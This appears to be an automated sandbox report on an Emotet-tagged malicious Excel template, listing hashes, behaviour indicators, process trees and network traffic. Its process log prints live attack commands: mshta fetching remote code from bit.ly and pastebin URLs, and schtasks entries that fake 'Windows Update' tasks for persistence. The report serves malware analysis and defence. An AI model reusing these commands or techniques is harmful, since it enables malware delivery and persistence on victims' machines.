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File name:

Specifications___9927265.xlt

Full analysis: https://app.any.run/tasks/8138b543-80bd-4122-a214-49c02fd0e482
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: September 11, 2019, 09:39:36
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: mana zaheer, Last Saved By: mana zaheer, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Sep 10 08:54:29 2019, Last Saved Time/Date: Tue Sep 10 08:55:13 2019, Security: 0
MD5:

9D41CAA6DE6CEB6FBEEC9142496F9F89

SHA1:

A1056E4279D9DC1AAB97A20548628794424F5D8E

SHA256:

88FA4316062F115BDA55F5EE813F142F656F4C93C080E3EAFC2489BCF484A72C

SSDEEP:

1536:y1k3hbdlylKsgqopeJBWhZFGkE+cL2NdAVLviN5y7Mersnd/rH3FCXsqQjbfhgBJ:y1k3hbdlylKsgqopeJBWhZFGkE+cL2NS

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  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3432)
    • Uses Task Scheduler to run other applications

      • mshta.exe (PID: 3924)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 3432)
    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2540)
      • schtasks.exe (PID: 2288)
    • Changes the autorun value in the registry

      • mshta.exe (PID: 3924)
  • SUSPICIOUS

    • Creates files in the user directory

      • mshta.exe (PID: 2608)
      • mshta.exe (PID: 3924)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • mshta.exe (PID: 2608)
    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 3924)
    • Application launched itself

      • mshta.exe (PID: 2608)
    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 1008)
    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 1008)
  • INFO

    • Creates files in the user directory

      • EXCEL.EXE (PID: 3432)
    • Reads internet explorer settings

      • mshta.exe (PID: 2608)
      • mshta.exe (PID: 3924)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3432)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

CompObjUserType: Microsoft Excel 2003 Worksheet
CompObjUserTypeLen: 32
HeadingPairs:
  • Worksheets
  • 1
TitleOfParts: Sheet1
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
ModifyDate: 2019:09:10 07:55:13
CreateDate: 2019:09:10 07:54:29
Software: Microsoft Excel
LastModifiedBy: mana zaheer
Author: mana zaheer
No data.
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Total processes
47
Monitored processes
10
Malicious processes
3
Suspicious processes
1

Behavior graph

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start excel.exe no specs mshta.exe mshta.exe cmd.exe no specs schtasks.exe no specs schtasks.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3432"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
1
Version:
14.0.6024.1000
2608mshta http://bit.ly/mylunlenahaiakslagaakiC:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3924"C:\Windows\System32\mshta.exe" http://www.pastebin.com/raw/eS9WmF3uC:\Windows\System32\mshta.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
1008"C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exitC:\Windows\System32\cmd.exemshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2288"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 60 /tn "Windows Update" /tr "mshta.exe http://pastebin.com/raw/W1fzJNbg" /F C:\Windows\System32\schtasks.exemshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2540"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 300 /tn "Update" /tr "mshta.exe http://pastebin.com/raw/Gt93FF9X" /F C:\Windows\System32\schtasks.exemshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3724taskkill /f /im winword.exe C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3132taskkill /f /im excel.exe C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3280taskkill /f /im MSPUB.exe C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2204taskkill /f /im POWERPNT.EXE C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
761
Read events
700
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
15
Unknown types
3

Dropped files

PID
Process
Filename
Type
3432EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR9ADD.tmp.cvr
MD5:
SHA256:
2608mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\authorization[1].css
MD5:
SHA256:
2608mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\3704929657-widgets[1].js
MD5:
SHA256:
3432EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFACE0084D7BA3C322.TMP
MD5:
SHA256:
2608mshta.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@bit[1].txttext
MD5:8CC6C15FAB6090B61A306071EB94F853
SHA256:66776FCB72A251DECFB40AB3AC30B48B9CCCBB5E02ED2DFDA8CF1DD8D2E7BF9F
2608mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\95993233-ieretrofit[1].jshtml
MD5:43AD0C19DD69995D18B1824C047A45A5
SHA256:ED723AD81C8ADD8D98D9AEDA58DA6CB9DF591DF8A8C1712601A2932130DB783F
3432EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Specifications___9927265.xlt.xls.LNKlnk
MD5:913832E4F55C299B032FBF83BC5EA920
SHA256:FCC9648CFABF4D4A9A62BA1180622C6770CA26BE1829304F17D5B1B7B31CC171
3432EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:AE1E1BA0C3A3D2A9A857992938066F2E
SHA256:FE401F4549F8C72DD09B71CCBA3B3DC7558C92309D403C711EB76F1427578AE9
2608mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\plusone[1].jshtml
MD5:632E7FD3CA61FEF2DD2B7A9F847E5F34
SHA256:D996E8927AE45383450BD8314F8BC89259A528AAA698231FE91D2295872D0496
2608mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\cb=gapi[1].loaded_0text
MD5:9592A9DDF920739FAD11ECB40E312905
SHA256:AEF6EEB769CC25D6F1776C5F7E97AEF03258C9B5362D72F0D7955633EADF8F09
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HTTP(S) requests
2
TCP/UDP connections
12
DNS requests
10
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2608
mshta.exe
GET
301
67.199.248.11:80
http://bit.ly/mylunlenahaiakslagaaki
US
html
140 b
shared
3924
mshta.exe
GET
301
104.20.209.21:80
http://www.pastebin.com/raw/eS9WmF3u
US
html
721 b
shared
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2608
mshta.exe
216.58.207.34:443
pagead2.googlesyndication.com
Google Inc.
US
whitelisted
2608
mshta.exe
67.199.248.11:80
bit.ly
Bitly Inc
US
shared
2608
mshta.exe
172.217.23.161:443
myownteammana.blogspot.com
Google Inc.
US
whitelisted
2608
mshta.exe
172.217.16.169:443
www.blogger.com
Google Inc.
US
whitelisted
2608
mshta.exe
216.58.205.238:443
apis.google.com
Google Inc.
US
whitelisted
2608
mshta.exe
172.217.22.45:443
accounts.google.com
Google Inc.
US
whitelisted
3924
mshta.exe
104.20.209.21:80
www.pastebin.com
Cloudflare Inc
US
shared
3924
mshta.exe
104.20.208.21:443
www.pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
bit.ly
  • 67.199.248.11
  • 67.199.248.10
shared
myownteammana.blogspot.com
  • 172.217.23.161
whitelisted
www.blogger.com
  • 172.217.16.169
shared
apis.google.com
  • 216.58.205.238
whitelisted
pagead2.googlesyndication.com
  • 216.58.207.34
whitelisted
resources.blogblog.com
  • 172.217.16.169
whitelisted
accounts.google.com
  • 172.217.22.45
shared
www.pastebin.com
  • 104.20.209.21
  • 104.20.208.21
shared
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared

Threats

PID
Process
Class
Message
2608
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
3924
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
No debug info